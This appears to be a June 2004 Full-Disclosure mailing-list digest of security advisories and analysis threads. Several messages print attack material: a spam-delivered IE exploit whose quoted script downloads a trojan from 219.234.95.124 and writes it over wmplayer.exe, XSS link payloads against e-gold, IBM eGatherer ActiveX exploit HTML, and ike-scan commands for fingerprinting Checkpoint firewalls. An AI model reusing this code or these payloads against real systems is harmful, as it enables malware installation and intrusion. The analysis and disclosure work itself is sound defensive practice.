BGP MD5

Under normal circumstances, due to inherent security factors in the TCP
protocol such as sequence number checks, it is difficult but possible to forge
an appropriate packet to exploit this problem. Configuring your Cisco IOS
device for BGP MD5 authentication is a valid workaround to protect the
vulnerable device.

This can be configured as shown in the following example:

    router(config)# router bgp
     router(config-router)# neighbor <IP_address> password <enter_your_secret_here>

It is necessary to configure the same shared MD5 secret on both peers and at
the same time. Failure to do so will break the existing BGP session and the new
session will not get established until the exact same secret is configured on
both devices. For a detailed discussion on how to configure BGP, refer to the
following document:

http://www.cisco.com/en/US/products/sw/iosswrel/ps1828/products_configuration_guide_chapter09186a00800ca571.html

Once the secret is configured, it is prudent to change it periodically. The
exact period must fit within your company security policy but it should not be
longer than a few months. When changing the secret, again it must be done at
the same time on both devices. Failure to do so will break your existing BGP
session. The exception is if your Cisco IOS software release contains the
integrated CSCdx23494 fix on both sides of the connection. With this fix,
the BGP session will not be terminated when the MD5 secret is changed only
on one side. The BGP updates, however, will not be processed until either
the same secret is configured on both devices or the secret is removed from
both devices.

Infrastructure Access Control Lists

Although it is often difficult to block traffic transiting your network, it is
possible to identify traffic which should never be allowed to target your
infrastructure devices and block that traffic at the border of your network.
Infrastructure ACLs are considered a network security best practice and should
be considered as a long-term addition to good network security as well as a
workaround for this specific vulnerability. The white paper entitled
"Protecting Your Core: Infrastructure Protection Access Control Lists" presents
guidelines and recommended deployment techniques for infrastructure protection
ACLs:

http://www.cisco.com/warp/public/707/iacl.html

Exploitation and Public Announcements
=====================================

The research which led to this vulnerability being discovered was announced in
a public announcement at NANOG in June 2003. The Cisco PSIRT team is not aware
of any malicious use of the vulnerabilities described in this advisory. We were
made aware of this issue through internal testing as well as notification from
a research team at the University of California at Santa Barbara.

The Cisco PSIRT is not aware of any malicious use of the vulnerability
described in this advisory.

Status of This Notice: FINAL
=====================

This Advisory is provided on an "as is" basis and does not imply any kind of
guarantee or warranty of any kind. Your use of the information on the Advisory
or materials linked from the Advisory is at your own risk. Cisco reserves the
right to change or update this notice at anytime.

Distribution
============

This advisory will be posted on Cisco's worldwide website at
http://www.cisco.com/warp/public/707/cisco-sa-20040616-bgp.shtml.

In addition to worldwide web posting, a text version of this notice is
clear-signed with the Cisco PSIRT PGP key and is posted to the following e-mail
and Usenet news recipients.

  * cust-security-announcecisco.com
  * first-teamsfirst.org (includes CERT/CC)
  * bugtraqsecurityfocus.com
  * vulnwatchwulnwatch.org
  * ciscospot.colorado.edu
  * cisco-nsppuck.nether.net
  * full-disclosurelists.netsys.com
  * comp.dcom.sys.cisconewsgate.cisco.com

Future updates of this advisory, if any, will be placed on Cisco's worldwide
website, but may or may not be actively announced on mailing lists or
newsgroups. Users concerned about this problem are encouraged to check the
above URL for any updates.

Revision History
================

+---------------------------------------------+
| Revision | 16-June-2004 | Initial Public |
| 1.0 | | Release |
+---------------------------------------------+

Cisco Security Procedures
=========================

Complete information on reporting security vulnerabilities in Cisco products,
obtaining assistance with security incidents, and registering to receive
security information from Cisco, is available on Cisco's worldwide website at
http://www.cisco.com/warp/public/707/sec_incident_response.shtml. This includes
instructions for press inquiries regarding Cisco security notices. All Cisco
security advisories are available at http://www.cisco.com/go/psirt.

- -------------------------------------------------------------------------------

All contents are Copyright © 1992-2004 Cisco Systems, Inc. All rights reserved.

-----BEGIN PGP SIGNATURE-----
Version: PGP 6.5.2

iQA/AwUBQNBRC3sxqM8ytrWQEQLpGQCgiM8vHSFNW9SOGbvyOWN6qRvHWxAAn08R
66EU/1ILdWzJMUxjqJKBy1B2
=YmJU
-----END PGP SIGNATURE-----

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
RE: [Full-Disclosure] spamming trojan?

From: Geo. (geoincidentsnls.net)
Date: Wed Jun 16 2004 - 09:06:52 CDT

>>
The end stage appears to be a new variant of the Cjdra proxy trojan.
This person has been spreading trojans via spammed-exploit for a while
now, and now it looks as if he/she has upgraded to the latest IE
exploit.
<<

Am I correct in assuming that this is using the as yet still unpatched IE
exploit and that this is a little more serious than installing adware?

Where the heck are Microsoft and Scot "Information Anarchy" Culp and the
Trusted Computing Forum now? Don't be blaming customers for not visiting
windows update this time.

Geo.

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
[Full-Disclosure] Re: Antivirus/trojan

From: Paul (onesteptoyahoo.com.au)
Date: Wed Jun 16 2004 - 10:46:44 CDT

It is the Win32/Zafi.B worm.

one step at a time...

---------------------------------
Find local movie times and trailers on Yahoo! Movies.

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
[Full-Disclosure] (no subject)

From: Bill Cerynik (billvcconsulting.biz)
Date: Wed Jun 16 2004 - 10:59:33 CDT

AMEN!!! Preach it, brother!

Best regards,
Bill Cerynik
Managing Partner

VC Consulting LLC
973.616.8170
billvcconsulting.biz
http://www.vcconsulting.biz

<Bringing open source solutions to the real world>

>Message: 12
>Date: Tue, 15 Jun 2004 14:52:11 -0400
>From: Len Rose <lennetsys.com>
>To: full-disclosurelists.netsys.com
>Subject: [Full-Disclosure] Administrivia: Classical Rant
>
>ATTENTION LAMERS
>
> Speaking for myself only, something has to be done
> about the quality of the information, and the standards
> of netiquette on this list.
>
> We all don't need to see mindlesS banter, and other noise
> spewing back and forth. If you can, please try to not post
> this spewage to the list, but instead send mail to each other
> (after carefully cutting and pasting on your windows desktop)
>
> If you must send it to the list it must be in terms of
> technical content, whether it is of a real security issue
> and not if Yahoo will increase your disk space or what slashdorks
> posted about something that was known since 2 months ago.
>
> I use the word technical loosely as in my mind, anything
> security related is inherently technical even if it/is not
> actually dealing with code or networks or systems.
>
> I'm very sick of seeing the amount of lame crap on this list,
> and I imagine a great deal of others are too.
>
> Thanks for listening.
>
> PS Unlike other "reputable" lists, we try not to censor
> anyone if they at least subscribe and never hit the
> queue. Lately we default to "delete" and try to approve
> those people who insist on posting without subscribing,
> or posting from a non-subscribed address. If "reputable"
> means bugtraq or cert then beat me with a stick.

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] spamming trojan?

From: Paul Schmehl (paulsutdallas.edu)
Date: Wed Jun 16 2004 - 12:33:16 CDT

--On Wednesday, June 16, 2004 08:23:59 AM -0400 "Geo."
<geoincidentsnls.net> wrote:

> Received a spam this morning claiming I have a voicemail with the link
> (warning do not click the link)
>
> http:-//www-1voicemailbox-net/voicemail/ (dashes added by me)
>
> which brings up a frames based page with one of the frames containing this
>
> function InjectedDuringRedirection(){
>
> showModalDialog('md.htm',window,"dialogTop:-10000\;dialogLeft:-10000\;di
> alo gHeight:1\;dialogWidth:1\;").location="javascript:'<SCRIPT
> SRC=\\'http://219.234.95.124/vbox/shellscript_loader.js\\'><\/script>'";
>
> Anyone want to try and analyze what this thing is? It was spammed to about
> 30 addresses here this morning.
>
All this does is call more functions:

function getRealShell() {
    myiframe.document.write("<SCRIPT
SRC='http://219.234.95.124/vbox/shellscript.js'><\/SCRIPT>");
}

document.write("<IFRAME ID=myiframe SRC='about:blank' WIDTH=200
HEIGHT=200></IFRAME>");
setTimeout("getRealShell()",100);

The real action is at the "RealShell" address:

var x = new ActiveXObject("Microsoft.XMLHTTP");
x.Open("GET", "http://219.234.95.124/vbox/w_e_d.exe",0);
x.Send();

var s = new ActiveXObject("ADODB.Stream");
s.Mode = 3;
s.Type = 1;
s.Open();
s.Write(x.responseBody);

s.SaveToFile("C:\\Program Files\\Windows Media Player\\wmplayer.exe",2);
location.href = "mms://";

The rest should be fairly obvious from the above code.

Paul Schmehl (paulsutdallas.edu)
Adjunct Information Security Officer
The University of Texas at Dallas
AVIEN Founding Member
http://www.utdallas.edu/ir/security/

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] Akamai

From: Paul Schmehl (paulsutdallas.edu)
Date: Wed Jun 16 2004 - 12:23:35 CDT

--On Wednesday, June 16, 2004 11:53:23 AM +1000 Darren Reed
<avaloncaligula.anu.edu.au> wrote:
>
> This is a whole new play ground for organised crime, mostly thanks
> to Microsoft. You've got millions of PC's around the world that
> are largely, in one way or another, susceptible to computer virii,
> making them open targets for use as minions. And the perfect seed
> for spreading them is the databases of email addresses used by
> spammers...
>
If networks simply took responsibility for the traffic that comes from
them, this problem wouldn't exist. It's completely trivial to find
infected hosts on a network through passive monitoring. They should then
be disconnected until they are properly cleaned and secured.

Unless networks begin doing this routinely (including ISPs), legislation
will be introduced to "solve" the problem, and then we will all be much
worse off. There's nothing like a law to completely screw things up.

Paul Schmehl (paulsutdallas.edu)
Adjunct Information Security Officer
The University of Texas at Dallas
AVIEN Founding Member
http://www.utdallas.edu/ir/security/

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
RE: [Full-Disclosure] Antivirus/Trojan/Spyware scanners DoS!

From: Pratik Mehta (PMehtasoa.org)
Date: Wed Jun 16 2004 - 12:24:54 CDT

The shell code is located at

 http://219.234.95.124/vbox/shellscript.js

and Macafee points it out as:

VBS/Psyme - Trojan

-Pratik

>>> "Geo." <georgernls.net> 6/16/2004 7:22:48 AM >>>
Received a spam this morning claiming I have a voicemail with the link
(warning do not click the link)

http:-//www-1voicemailbox-net/voicemail/ (dashes added by me)

which brings up a frames based page with one of the frames containing this

    function InjectedDuringRedirection(){

 showModalDialog('md.htm',window,"dialogTop:-10000\;dialogLeft:-10000\;dialo
gHeight:1\;dialogWidth:1\;").location="javascript:'<SCRIPT
SRC=\\'http://219.234.95.124/vbox/shellscript_loader.js\\'><\/script>'";

Anyone want to try and analyze what this thing is? It was spammed to about
30 addresses here this morning.

Geo.

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
[Full-Disclosure] Checkpoint Firewall-1 IKE Vendor ID information leakage

From: Roy Hills (Roy.Hillsnta-monitor.com)
Date: Wed Jun 16 2004 - 09:45:29 CDT

Checkpoint Firewall-1 IKE Vendor ID information leakage

Introduction:

Checkpoint Firewall-1 version 4.1 and later with IPsec VPN enabled will
return an IKE Vendor ID payload when it receives an IKE packet with
a specific Vendor ID payload. The Vendor ID payload that is returned
identifies the system as Checkpoint Firewall-1 and also determines the
Firewall-1 version and service-pack or feature-pack revision number.
This is an information leakage issue which can be used to fingerprint
the Firewall-1 system.

This information leakage issue has been verified for Checkpoint Firewall-1
versions from 4.1 (no service pack) to NG AI R55 inclusive. Firewall-1
version 4.0 is not vulnerable because it does not return any Vendor ID
payload, and Firewall-1 versions 3.0b and earlier are not vulnerable
because they do not support IPsec VPN. However, most people are running
either NG or 4.1 and therefore this issue will apply to most Firewall-1
installations that have IPsec VPN enabled.

I used ike-scan v1.6 (http://www.nta-monitor.com/ike-scan/) to discover
and demonstrate this issue.

Full details are available at:
http://www.nta-monitor.com/news/checkpoint2004/index.htm

Details:

If an IKE Phase-1 packet with a Vendor ID payload containing the data
"f4ed19e0c114eb516faaac0ee37daf2807b4381f" (20 bytes of binary data
encoded as hex) is sent to a Firewall-1 system running Firewall-1 v4.1
or higher which supports IKE, the Firewall will respond with a Vendor ID
payload containing data which identifies it as a Checkpoint Firewall-1
system, provides details about the version of the Firewall software,
and contains some additional information.

The data that is returned in the Vendor ID payload from the
Firewall consists of the same 20-byte sequence that was sent
(f4ed19e0c114eb516faaac0ee37daf2807b4381f) followed by another 20-bytes
of data that contains the encoded version number and some other details
that appear to contain details of the Firewall's capabilities.

I presume that the 20-byte "magic string" is an SHA1 hash of something.
I'd be interested to find out what source string hashes to this value.

Looking at all versions of Firewall-1 from 4.1 base (no service pack) to
NG AI R55 (latest current version), I have found the following returned
Vendor ID payloads. In the payloads below, a dot (".") represents an
arbitary hex digit:

Firewall-1 4.1 Base (no service pack)
f4ed19e0c114eb516faaac0ee37daf2807b4381f00000001000000020000000000000000....0000

Firewall-1 4.1 SP1
f4ed19e0c114eb516faaac0ee37daf2807b4381f00000001000000030000000000000000....0000

Firewall-1 4.1 SP2-SP6 (SP2, 3, 4, 5, and 6 return the same Vendor ID)
f4ed19e0c114eb516faaac0ee37daf2807b4381f0000000100000fa20000000000000000....0000

rshradon [537]$
rshradon [537]$
rshradon [537]$
rshradon [537]$ cat ,,
[Note to moderator: I notified Checkpoint of this issue on 13th April
2004, but have not received any response apart from a "We've received
your Email" auto-reply.]

Introduction:

Checkpoint Firewall-1 version 4.1 and later with IPsec VPN enabled will
return an IKE Vendor ID payload when it receives an IKE packet with
a specific Vendor ID payload. The Vendor ID payload that is returned
identifies the system as Checkpoint Firewall-1 and also determines the
Firewall-1 version and service-pack or feature-pack revision number.
This is an information leakage issue which can be used to fingerprint
the Firewall-1 system.

This information leakage issue has been verified for Checkpoint Firewall-1
versions from 4.1 (no service pack) to NG AI R55 inclusive. Firewall-1
version 4.0 is not vulnerable because it does not return any Vendor ID
payload, and Firewall-1 versions 3.0b and earlier are not vulnerable
because they do not support IPsec VPN. However, most people are running
either NG or 4.1 and therefore this issue will apply to most Firewall-1
installations that have IPsec VPN enabled.

I used ike-scan v1.6 (http://www.nta-monitor.com/ike-scan/) to discover
and demonstrate this issue.

Full details are available at:
http://www.nta-monitor.com/news/checkpoint2004/index.htm

Details:

If an IKE Phase-1 packet with a Vendor ID payload containing the data
"f4ed19e0c114eb516faaac0ee37daf2807b4381f" (20 bytes of binary data
encoded as hex) is sent to a Firewall-1 system running Firewall-1 v4.1
or higher which supports IKE, the Firewall will respond with a Vendor ID
payload containing data which identifies it as a Checkpoint Firewall-1
system, provides details about the version of the Firewall software,
and contains some additional information.

The data that is returned in the Vendor ID payload from the
Firewall consists of the same 20-byte sequence that was sent
(f4ed19e0c114eb516faaac0ee37daf2807b4381f) followed by another 20-bytes
of data that contains the encoded version number and some other details
that appear to contain details of the Firewall's capabilities.

I presume that the 20-byte "magic string" is an SHA1 hash of something.
I'd be interested to find out what source string hashes to this value.

Looking at all versions of Firewall-1 from 4.1 base (no service pack) to
NG AI R55 (latest current version), I have found the following returned
Vendor ID payloads. In the payloads below, a dot (".") represents an
arbitary hex digit:

Firewall-1 4.1 Base (no service pack)
f4ed19e0c114eb516faaac0ee37daf2807b4381f00000001000000020000000000000000....0000

Firewall-1 4.1 SP1
f4ed19e0c114eb516faaac0ee37daf2807b4381f00000001000000030000000000000000....0000

Firewall-1 4.1 SP2-SP6 (SP2, 3, 4, 5, and 6 return the same Vendor ID)
f4ed19e0c114eb516faaac0ee37daf2807b4381f0000000100000fa20000000000000000....0000

Firewall-1 NG Base
f4ed19e0c114eb516faaac0ee37daf2807b4381f00000001000013880000000000000000....0000

Firewall-1 NG FP1
f4ed19e0c114eb516faaac0ee37daf2807b4381f00000001000013890000000000000000....0000

Firewall-1 NG FP2
f4ed19e0c114eb516faaac0ee37daf2807b4381f000000010000138a0000000000000000....0000

Firewall-1 NG FP3
f4ed19e0c114eb516faaac0ee37daf2807b4381f000000010000138b0000000000000000....0000

Firewall-1 NG AI R54
f4ed19e0c114eb516faaac0ee37daf2807b4381f000000010000138c0000000000000000....0000

Firewall-1 NG AI R55
f4ed19e0c114eb516faaac0ee37daf2807b4381f000000010000138d0000000000000000....0000

The version part is given in character positions 53 - 56 inclusive.
E.g. "138d" (decimal 5005) for NG AI R55.

Here's an example using ike-scan v1.6 with an NG FP2 Firewall. Here,
we are specifying RSA authentication with --auth=3 to get the Firewall
to handshake as well as providing the Firewall-1 Vendor ID:

$ ike-scan --vendor=f4ed19e0c114eb516faaac0ee37daf2807b4381f --auth=3 -M
172.16.2.2
Starting ike-scan 1.6 with 1 hosts (http://www.nta-monitor.com/ike-scan/)
172.16.2.2 Main Mode Handshake returned
         SA=(Enc=3DES Hash=SHA1 Auth=RSA_Sig Group=2:modp1024
LifeType=Seconds LifeDuration(4)=0x00007080)
         VID=f4ed19e0c114eb516faaac0ee37daf2807b4381f000000010000138a000000000000000018800000
(Firewall-1 NG FP2)

Ending ike-scan 1.6: 1 hosts scanned in 0.009 seconds (108.96 hosts/sec).
1 returned handshake; 0 returned notify

Here is a second example fingerprinting an NG AI R54 Firewall using
hybrid authentication (--auth=64221):

$ ike-scan --vendor=f4ed19e0c114eb516faaac0ee37daf2807b4381f --auth=64221
-M 172.16.2.2
Starting ike-scan 1.5.3 with 1 hosts (http://www.nta-monitor.com/ike-scan/)
172.16.2.2 Main Mode Handshake returned
         SA=(Enc=3DES Hash=SHA1 Auth=64221 Group=2:modp1024
         LifeType=Seconds LifeDuration(4)=0x00007080)
         VID=f4ed19e0c114eb516faaac0ee37daf2807b4381f000000010000138c000000000000000018800000
(Firewall-1 NG AI R54)

References:

http://www.nta-monitor.com/news/checkpoint2004/index.htm Issue details
http://www.nta-monitor.com/ike-scan/ ike-scan tool
--
Roy Hills Tel: +44 1634 721855
NTA Monitor Ltd FAX: +44 1634 721844
14 Ashford House, Beaufort Court,
Medway City Estate, Email: Roy.Hillsnta-monitor.com
Rochester, Kent ME2 4FA, UK WWW: http://www.nta-monitor.com/

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] spamming trojan?

From: joe smith (joejoesmith.homeip.net)
Date: Wed Jun 16 2004 - 13:25:19 CDT

I used PE Explorer.

Looks the june4.exe is some kind of spyware. It reference to another
site "cjdra.com", possibly uploading user information there.

I just started learning assembly, please pardon my lack of knowledge on
reverse engineering.

J

Michael Gargiullo wrote:

>On Wed, 2004-06-16 at 13:41, joe smith wrote:
>
>
>>The file is UPX packed and withit the file there is another "GET"
>>pointing to "http://219.234.95.124/june4.exe"
>>
>>J
>>
>>
>
>Like those Chinese stacking dolls... How'd you unpack it?
>
>
>
>
>>Michael Gargiullo wrote:
>>
>>
>>
>>>On Wed, 2004-06-16 at 08:23, Geo. wrote:
>>>
>>>
>>>
>>>
>>>>Received a spam this morning claiming I have a voicemail with the link
>>>>(warning do not click the link)
>>>>
>>>>http:-//www-1voicemailbox-net/voicemail/ (dashes added by me)
>>>>
>>>>which brings up a frames based page with one of the frames containing this
>>>>
>>>>
>>>>
>
>
>
>>>> function InjectedDuringRedirection(){
>>>>
>>>>showModalDialog('md.htm',window,"dialogTop:-10000\;dialogLeft:-10000\;dialo
>>>>gHeight:1\;dialogWidth:1\;").location="javascript:'<SCRIPT
>>>>SRC=\\'http://219.234.95.124/vbox/shellscript_loader.js\\'><\/script>'";
>>>>
>>>>Anyone want to try and analyze what this thing is? It was spammed to about
>>>>30 addresses here this morning.
>>>>
>>>>Geo.
>>>>
>>>>
>>>>
>>>>
>>>Here's the contents:
>>>
>>>var x = new ActiveXObject("Microsoft.XMLHTTP");
>>>x.Open("GET", "http://219.234.95.124/vbox/w_e_d.exe",0);
>>>x.Send();
>>>
>>>var s = new ActiveXObject("ADODB.Stream");
>>>s.Mode = 3;
>>>s.Type = 1;
>>>s.Open();
>>>s.Write(x.responseBody);
>>>
>>>s.SaveToFile("C:\\Program Files\\Windows Media Player\\wmplayer.exe",2);
>>>location.href = "mms://";
>>>
>>>so whatever w_e_d.exe is...
>>>
>>>_______________________________________________
>>>Full-Disclosure - We believe in it.
>>>Charter: http://lists.netsys.com/full-disclosure-charter.html
>>>
>>>
>>>
>>>
>>>
>
>
>
>

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
[Full-Disclosure] RE: [ GLSA 200406-10 ] Gallery: Privilege escalation vulnerability

From: Bob Walton (bobitsecsystems.com)
Date: Wed Jun 16 2004 - 10:57:55 CDT

You all might want to take a look at Americas best kept secret, security for
wireless internet (we have been doing it for 5 years)would truly value your
opinion. Bob Walton 877-326-5990 bobitsecsystems.com

-----Original Message-----
From: Thierry Carrez [mailto:koongentoo.org]
Sent: Tuesday, June 15, 2004 3:14 PM
To: gentoo-announcelists.gentoo.org
Cc: bugtraqsecurityfocus.com; full-disclosurelists.netsys.com;
security-alertslinuxsecurity.com
Subject: [ GLSA 200406-10 ] Gallery: Privilege escalation vulnerability

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Gentoo Linux Security Advisory GLSA 200406-10
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
                                            http://security.gentoo.org/
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

  Severity: Normal
     Title: Gallery: Privilege escalation vulnerability
      Date: June 15, 2004
      Bugs: #52798
        ID: 200406-10

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis
========

There is a vulnerability in the Gallery photo album software which may
allow an attacker to gain administrator privileges within Gallery.

Background
==========

Gallery is a web application written in PHP which is used to organize
and publish photo albums. It allows multiple users to build and
maintain their own albums. It also supports the mirroring of images on
other servers.

Affected packages
=================

    -------------------------------------------------------------------
     Package / Vulnerable / Unaffected
    -------------------------------------------------------------------
  1 app-misc/gallery <= 1.4.3_p1 >= 1.4.3_p2

Description
===========

There is a vulnerability in the Gallery photo album software which may
allow an attacker to gain administrator privileges within Gallery. A
Gallery administrator has full access to all albums and photos on the
server, thus attackers may add or delete photos at will.

Impact
======

Attackers may gain full access to all Gallery albums. There is no risk
to the webserver itself, or the server on which it runs.

Workaround
==========

There is no known workaround at this time. All users are encouraged to
upgrade to the latest available version.

Resolution
==========

All users should upgrade to the latest available version of Gallery.

    # emerge sync

    # emerge -pv ">=app-misc/gallery-1.4.3_p2"
    # emerge ">=app-misc/gallery-1.4.3_p2"

References
==========

  [ 1 ] Gallery Announcement

http://gallery.menalto.com/modules.php?op=modload&name=News&file=article&sid
=123&mode=thread&order=0&thold=0

Availability
============

This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:

     http://security.gentoo.org/glsa/glsa-200406-10.xml

Concerns?
=========

Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users machines is of utmost
importance to us. Any security concerns should be addressed to
securitygentoo.org or alternatively, you may file a bug at
http://bugs.gentoo.org.

License
=======

Copyright 2004 Gentoo Technologies, Inc; referenced text
belongs to its owner(s).

The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.

http://creativecommons.org/licenses/by-sa/1.0

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org

iD8DBQFAz0qMvcL1obalX08RAmuoAKCKcyWXNtt+mdgtX26R9l96V8yE4QCfVFQG
9s9GiyiY83X/VHcx2Kc+mQQ=
=+z9+
-----END PGP SIGNATURE-----

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
[Full-Disclosure] RE: MAGIC XSS INTO THE DNS: coelacanth

From: Drew Copley (dcopleyeEye.com)
Date: Wed Jun 16 2004 - 13:29:52 CDT

 

> -----Original Message-----
> From: Windows NTBugtraq Mailing List
> [mailto:NTBUGTRAQLISTSERV.NTBUGTRAQ.COM] On Behalf Of
> http-equivexcite.com
> Sent: Tuesday, June 15, 2004 3:00 PM
> To: NTBUGTRAQLISTSERV.NTBUGTRAQ.COM
> Subject: MAGIC XSS INTO THE DNS: coelacanth
>
> Tuesday, June 15, 2004
>
> The following courtesy of 'bitlance winter' adds an entirely new
> dimension to the matter and also suggest some additional
> peculiarities at play:
>
> <a href='http://&quot;&gt;&lt;plaintext&gt;.e-gold.com'>foo</a>
>
> <a href='http://&quot;&gt;&lt;script&gt;alert()&lt;%
> 2Fscript&gt;.e-gold.com'>foo</a>
>
> these will inject arbitrary html and script into the site in the
> context of the 'intranet zone', which means one no longer needs
> to go out and setup a site with the dns issue, all one needs to
> do is locate a functioning site, include their code into a
> suitable url, either direct the target via that or place an
> iframe elsewhere pointing to it.

Because the wildcarding is a bit too wild.

For instance, "http://&money.e-gold.com/ " resolves.

And, "http://&money;G-Money&OGbabyOG.e-gold.com/" resolves.

In e-gold's case, they actually take the url line and render
it variously in their dynamic html on their page.

>
> Still unclear how or why this can be interpreted into the site
> or through the browser.
>
> credit: 'bitlance winter'
>
>
> End Call
>
> --
> http://www.malware.com
>
> -----
> NTBugtraq Editor's Note:
>
> Want to reply to the person who sent this message? This list
> is configured such that just hitting reply is going to result
> in the message coming to the list, not to the individual who
> sent the message. This was done to help reduce the number of
> Out of Office messages posters received. So if you want to
> send a reply just to the poster, you''ll have to copy their
> email address out of the message and place it in your TO: field.
> -----
>

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] Akamai

From: Ron DuFresne (dufresnewinternet.com)
Date: Wed Jun 16 2004 - 14:13:09 CDT

Might as well toss in egress filtering to prvent many of the abuses of
spoofing that happen in the present env of the internet. The ISP and
others will claim that this is far too costly for their routers to handle,
but, for the vast majority of sites, this is likely to not be as costly as
the network folks are claiming as a way to avoid doing a tad bit more work
in their router configs. Some of the worst sites for spoofing abuses, and
those that have networkies that will complain the loudest, are the .edu's.

Thanks,

Ron DuFresne

                [SNIP]

> >
> If networks simply took responsibility for the traffic that comes from
> them, this problem wouldn't exist. It's completely trivial to find
> infected hosts on a network through passive monitoring. They should then
> be disconnected until they are properly cleaned and secured.
>
> Unless networks begin doing this routinely (including ISPs), legislation
> will be introduced to "solve" the problem, and then we will all be much
> worse off. There's nothing like a law to completely screw things up.
>
> Paul Schmehl (paulsutdallas.edu)
> Adjunct Information Security Officer
> The University of Texas at Dallas
> AVIEN Founding Member
> http://www.utdallas.edu/ir/security/
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
>

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
"Cutting the space budget really restores my faith in humanity. It
eliminates dreams, goals, and ideals and lets us get straight to the
business of hate, debauchery, and self-annihilation." -- Johnny Hart
        ***testing, only testing, and damn good at it too!***

OK, so you're a Ph.D. Just don't touch anything.

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] Akamai

From: Peter van den Heuvel (peterbank-connect.com)
Date: Wed Jun 16 2004 - 14:26:45 CDT

Paul Schmehl wrote:
> If networks simply took responsibility for the traffic that comes from
> them, this problem wouldn't exist.
Indeed. DNS's, AS's and what not else is required to make the internet
tick; all is centrally controlled and delegated. What's missing is a
flanking reverse of resposibilities. It's idiotic that providers or even
full countries can completely ignore / reject any complaint without
having their AS or DNS taken down.

> Unless networks begin doing this routinely (including ISPs), legislation
> will be introduced to "solve" the problem, and then we will all be much
> worse off. There's nothing like a law to completely screw things up.
Amen!

Peter

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
[Full-Disclosure] "IBM Access Support" (eGatherer) Activex Dangerous Methods Vulnerability

From: Drew Copley (dcopleyeEye.com)
Date: Wed Jun 16 2004 - 13:47:55 CDT

"IBM Access Support" (eGatherer) Activex Dangerous Methods Vulnerability

Release Date:
June 15, 2004

Date Reported:
February 20, 2004

Patch Development Time (In Days):
116

Severity:
High (Remote Code Execution)

Vendor:
IBM

Systems Affected:
IBM Access Support (eGatherer) Activex Version 2.0.0.16

Overview:
eEye Digital Security has discovered a security vulnerability in IBM's
signed "eGatherer" activex. Because this application is signed, it might
be presented to users on the web for execution in the name of IBM. If
users trust IBM, they will run this, and their systems will be
compromised. This activex was designed by IBM to be used for an
automated support solution for their PC's. This is installed by default
on many popular IBM PC models.

The issue is quite simple. Activex is a very profound web technology. As
a profound web technology it may be abused. Designers might create an
activex which could perform any function on an user's computer.
Microsoft relies on trust for the security model and warns against
making activex with dangerous capabilities. The responsibility, however,
rests with the creator of the activex, as in any trust model.

In this case, IBM made available methods named such as "GetMake",
"GetModel", "GetOSName", "SetDebugging" (accepting variable called
"filename") and "RunEgatherer" (also accepting suspicious parameter).
These dangerous methods were found to be able to write a trojan file to
the user's startup folder through a difficult trick.

It should be further noted that both "SetDebugging" and "RunEgether"
methods allow a web page author to write files of their choice (though
the content is limited) to the victim's hard drive -- anywhere to their
hard drive. These are the default and clearly stated usage of these
methods.

Technical Details:
For clarification purposes this will be presented as a two page attack,
though it may easily be a single HTML page attack.

-----------EXAMPLE HTML 1 ---------
//first this page would be viewed, then through refreshing or whatever
one goes to the second page (or just timing the two calls with
SetTimeOUt and putting them on the same page...)
|object classid="clsid:74FFE28D-2378-11D5-990C-006094235084" id="X"|
|object|

|script|
X.SetDebugging("/../xx.hta",-1);
|script|
---------------------------------

-----------EXAMPLE HTML 2 ---------
|object classid="clsid:74FFE28D-2378-11D5-990C-006094235084" id="X"|
|object|

|script|
X.SetDebugging("/../x<iframe src=http://www.malware.com>x.hta",-1);
|script|

---------------------------------

In the above example, we see the object called utilizing the "object"
tag. The codebase tag [not shown here] is used by the browser to
initiate the install of the activex if it is not already existing on the
system. This would bring up the activex prompt which essentially asks
the user if they trust IBM. Finally, the object is named "X", so we
might reference it later in script and use its' dangerous methods.

In the first page we call the "SetDebugging" method. "SetDebugging"
writes a file called "xx.hta" to the C:\ drive. (An attacker would
probably write the file to the StartUP folder in real life.) This file
will have "xx.hta" written inside of it, along with some other stuff.

We need to control what is written inside the file so we can write
dangerous scripting. But, all we can write is what can be in a filename.

Now, the second HTML page is called. What happens? The application
throws an error, but before it crashes, it writes our exploit code to
the file "xx.hta". (It crashes because "<>" are not valid characters for
a filename).

So, now we have the exploit file in the exploit location with the
exploit location within it... and the target system is taken down.

Protection:
Retina Network Security Scanner has been updated to identify this
vulnerability.

